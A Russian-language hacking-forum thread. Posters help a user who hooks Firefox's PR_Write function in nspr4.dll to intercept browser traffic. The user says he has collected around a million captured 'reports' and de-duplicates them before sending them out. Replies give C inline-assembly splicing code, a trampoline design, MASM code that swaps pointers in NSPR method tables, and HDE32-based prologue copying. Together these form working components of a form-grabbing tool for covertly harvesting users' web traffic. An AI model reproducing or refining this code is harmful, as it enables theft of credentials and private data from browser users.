Доброго времени суток! Я перехватываю PR_Write() из nspr4.dll (дистр. FF). Код для перехвата брал тут: http://forum.antichat.ru/showthread.php?p=368122 Впринципе, функция-обработчик выглядит примерно так: Код (Text): INT __cdecl xPR_Write (PVOID fd, PVOID buf, INT amount) { // do stuff UnsetSplicingHook(lpPR_Write, bufPR_Write); // восстанавливаем первые 5 байт оригинальной функции // вызываем оригинальную функцию INT res; __asm { mov eax, amount push eax mov eax, buf push eax mov eax, fd push eax call lpPR_Write mov res, eax add esp, 12 } SetSplicingHook(lpPR_Write, xPR_Write, bufPR_Write); // снова сплайсим return res; } Однако, иногда, FF вылетает. Я думаю, что это связано с тем, что перехватываемая функция вызывается из многих потоков, и, походу, возникает коллизия. Как с этим бороться?
Я ещё пробовал обнести тело функции-обработчика в блок Код (Text): try{} catch(...) {}; однако, FF вылетает практически сразу же.
Чето я логики не могу понять, зачем снимать хук а потом опять устанавливать? Зачем такой изврат ? Если второй поток пытается снять хук, который уже снял первый поток что будет? Неизвстно))) Когда падает подключись отладчиком и посмотри где упало.
PR_Write вызывается там где ты перехватываешь так часто, что багу ты не найдёшь в реализации. Она в дизайне.
Ну, собственно, как сделать-то лучше? Вот, есть оригинальная функция ... прописали мы туда JMP со своим адресом. При вызове, попадаем в функцию-перехватчик. Теперь вопрос - как вызвать оригинальную функцию из функции-перехватчика, не снимая хука?
gribodemon А стоит ли? хуки поставить дело не долгое, а уже обработать траф будет в разы сложнее, раз есть проблемы с хуками, то дальше с такими знаниями лезть не стоит. Не бери всякие примеры, делай сам с нуля думая головой, схема такая: 1. Подсчитываем размер. Дизассемблером длин узнаешь размер инструкций по интересующему тебя адресу, дизасмишь пока не найдешь себе минимум 5 байт. 2. Создаем мостик. Копируешь эти инструкции с перехватываемого адреса в новое место, копировать надо грамотно, если там jmp short, то будут проблемы, если call near и jmp near/relative, то фиксишь по дельте, после этих инструкций еще ставишь jmp на место, которое ты не вырезал, т.е. например +5 байт от начала перехватываемой функции, если вырезано 5 байт для прыжка. 3. Записываешь в вырезанный кусок прыжок на твою функцию перехватчик. Там выполняем все страшные действия, после чего прыгаем на мостик.
Похоже такие темы всегда будут появлятся несмотря на разжеваность сабжа))) Оригинальные байты ты должен скопировать в какой-то буфер, а в конце этого буфера сделать джамп на остаток оригинальной ф-ции. Я не читал статью Грейта, но думаю у него это написано, а если не написано у него то написано в других статьях про сплайсинг. Читай
Ну да, сложнее. =) У меня уже около 1 млн. таких вот отчётов. Причём я отсеял различные запросы на получения мультимедийных данных, добавил бан по хостам... =)
Походу, можно вот так : http://www.cracklab.ru/f/index.php?action=vthread&forum=6&topic=10944 Т.е. в 10-ти байтовый кусок памяти копируем первые 5 байт перехватываемой функции, после них ставим JMP на перехватываемую функцию + 5 байт. В начале перехватываемой функции ставим JMP на наш код, а уже из нашего кода делаем CALL на 10-ти байтовый кусок памяти. Вроде, должно работать. Да?
im1111 А дизассемблер длин нужен чтобы не случайно не "раскромсать" инструкции при "вырезании" первых 5-ти байт перехватываемой функции? Т.е. чтобы потом JMP из функции обработчика не приземлить на половину инструкции. Ты об этом?
Товарищи, вначале следует понять механизм, затем вбрать наилучшее решение для манипуляции им. Модификация кода это грубейшее решение в любом случае, её следует рассматривать в последнюю очередь, темболее как частный случай для фокса интерфейс опенсурсный и документирован. Касательно данного вопроса. Весь интерфейс фокса основан на методах, например https://developer.mozilla.org/en/PRIOMethods В секции данных нспр есть таблицы, это массивы методов. Каждый из них описан в этой таблице и вызывается экспортом, который является всеголишь заглушками. Решение - находим необходимую таблицу методов и атомарно заменяем в ней указатель на хэндлер. Таблицы в секции данных нспр. Указатели на таблицы возвращаются некоторыми функциями. Старый кусок кода, который выполняет захват метода, какраз .Write: Код (Text): NSPR_METHODS struct PRIOMethods PVOID ? PRTCPMethods PVOID ? NSPR_METHODS ends PNSPR_METHODS typedef ptr NSPR_METHODS NSPR_ENTRIES struct PR_GetFileMethods PVOID ? PR_GetTCPMethods PVOID ? NSPR_ENTRIES ends ; Определяет две таблицы методов. ; iGetNsprMethods proc Methods:PNSPR_METHODS Local NsprImageBase:PVOID Local MethodsList:NSPR_ENTRIES invoke iQueryNsprImageBase, addr NsprImageBase test eax,eax lea edx,MethodsList jnz exit_ push edx push TRUE $PUSH_REF $MethodsList push NsprImageBase Call iImageQueryEntriesFromNameList test eax,eax jnz exit_ mov ecx,MethodsList.PR_GetFileMethods mov edx,MethodsList.PR_GetTCPMethods mov eax,STATUS_UNSUCCESSFUL cmp byte ptr [ecx],0B8H jne exit_ cmp byte ptr [edx],0B8H jne exit_ push dword ptr [ecx + 1] push dword ptr [edx + 1] mov ecx,Methods xor eax,eax pop NSPR_METHODS.PRTCPMethods[ecx] pop NSPR_METHODS.PRIOMethods[ecx] exit_: ret $MethodsList: CHAR "PR_GetFileMethods",0 CHAR "PR_GetTCPMethods",0 CHAR 0 iGetNsprMethods endp PR_WRITE_INDEX equ 3 ; Захват обработчика в таблице методов. ; Параметры: ; - DispatchTable указатель на таблицу методов. ; - NewEntry указатель на новый обработчик. ; - OldEntry указатель на переменную, принимающую адрес предыдущего обработчика. ; Хэндлер должен проверять значение переменной, содержащей указатель на оригинальный ; обработчик и если ноль, то выполнять цикл ожидания на этой переменной. ; iNsprRedirectionMethod proc DispatchTable:PVOID, NewEntry:PVOID, OldEntry:PVOID mov edx,DispatchTable xor eax,eax mov ecx,NewEntry lock cmpxchg dword ptr [edx + PR_WRITE_INDEX*4],eax jz error_ lock cmpxchg dword ptr [edx + PR_WRITE_INDEX*4],ecx mov ecx,eax mov edx,OldEntry xor eax,eax lock cmpxchg dword ptr [edx],eax lock cmpxchg dword ptr [edx],ecx exit_: ret error_: mov eax,STATUS_UNSUCCESSFUL jmp exit_ iNsprRedirectionMethod endp
CrystalIC Сразу хотелось бы задать вопрос по коду. Вот, например, PR_Write, в некоторых случаях, почему-то вызывается по три раза с одним и тем же содержимым. Поэтому мне пришлось для каждого отчёта считать CRC32 перед отправкой =), чтобы не слать то, что уже было отослано. А вышепривидённый код не страдает таким недугом?
Это он описал еще один способ перехвата ф-ции _Write. Вызыватся скорее всего будет точно также как и PR_Write. Ты бы сначала разобрался как оно все там работает перед тем как хукать, тем более исходники есть. А то так далеко не уйдешь...
Да, без дизасма длин тут не обойтись. Если в случае с перехватом функций из wininet.dll оно и прокатит (точно код не смотрел, но там три первых команды вначале функции, которые весят 2, 1 и 2 байта ... т.е. в сумме, ровно и получается 5 байт, чтобы поставить JMP с адресом на нашу функцию. А в случае с FF, нужно копировать не 5, а уже 6 байт от начала функции, ибо (привожу код начала функции PR_Write() ): В качестве дизасма длин я использовал HDE32 : http://vx.netlux.org/vx.php?id=eh04. Примерно так выглядит определение размера буфера, в который будем копировать начала перехватываемой функции: Код (Text): // копируем начало функции по адресу lpOrgFunc // используем disasm длин DWORD szBuf = 64; // 64 - байта. таков размер буфера ZeroMemory(pbOrgFuncBuf, szBuf); DWORD i; for (i = 0; i < szBuf; ) { // 5 bytes min (!) hde32s hs; hde32_disasm((LPVOID) ((DWORD)lpOrgFunc + i), &hs); if ( hs.flags & F_ERROR ) break; i += hs.len; if (i >= 5) break; } if ( (i < 5) || (i >= szBuf) ) return false; // ok DWORD szBufCode = i; szBufCode - размер буфера. lpOrgFunc - адрес перехватываемой функции.